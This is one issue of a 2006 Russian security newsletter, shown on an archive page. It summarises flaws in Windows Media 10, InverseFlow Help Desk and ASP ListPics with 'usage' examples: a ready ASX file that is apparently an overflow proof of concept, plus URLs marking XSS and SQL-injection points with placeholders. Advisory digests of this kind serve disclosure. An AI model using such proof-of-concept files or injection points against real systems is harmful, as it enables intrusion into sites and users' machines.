Отправляет email-рассылки с помощью сервиса Sendsay

IT-безопасность в быту и не только

Рассылка закрыта

При закрытии подписчики были переданы в рассылку "Безопасность. Статьи, новости, комментарии" на которую и рекомендуем вам подписаться.

Вы можете найти рассылки сходной тематики в Каталоге рассылок.

←   Ноябрь 2006   →
 1
 2
 3
 4
 5
 6
06.11.2006
07:05:26
12:05:19
 7
 8
08.11.2006
07:05:18
12:05:31
 9
10
11
12
13
14
15
16
16.11.2006
07:05:29
12:05:35
17
18
19
20
21
22
22.11.2006
07:05:25
14:05:31
23
24
25
26
26.11.2006
07:05:30
12:05:27
27
28
28.11.2006
12:08:18
14:07:10
29
29.11.2006
07:05:20
12:06:19
30
30.11.2006
01:25:15
14:06:07
Автор
Forester

Статистика

1.394 подписчиков
-1 за неделю
←   Все выпуски   →

Компьютер для продвинутых пользоватлей Выпус по безопасности. Уязвимости в Windows Media, InverseFlow


Компьютер для продвинутых пользователей
В этом выпуске:
Windows Media | InverseFlow Help Desk | ASP ListPics | BirdBlog | Wabbit PHP Gallery | mAlbum
ПО: Windows Media
Версия: 10.00.00.4036

Использование:
Создаём файл "example.asx":
<asx><entry>
<ref href="aa:/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.mp3"/>
</entry></asx>
Комментарий::
Так как я пользуюсь Win2k, то соответственно проверить правдивость этой уязвимости я не могу.
ПО: InverseFlow Help Desk
Версия: 2.31

Использование:
http://www.site.com/support_path/ticketview.php?id=[xss]
http://www.site.com/support_path/ticketview.php?email=[xss]
http://www.site.com/support_path/ticketview.php?cmd=deletepost&id=[xss]
http://www.site.com/support_path/ticketview.php?cmd=deletepost&email=[xss]
http://www.site.com/support_path/ticket.php?email=[xss]
Комментарий::
Уязимость была проверена - 100% работа. Правда придётся коё-что подправлять, но это мелочи.
ПО: ASP ListPics
Версия: 5.0

Использование:
http://target/path/listpics.asp?a=show&ID=[SQL INJECTION]
Комментарий::
Не смог провериь данную уязвимость.
Не забудьте проголосовать за выпуск!
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru
В избранное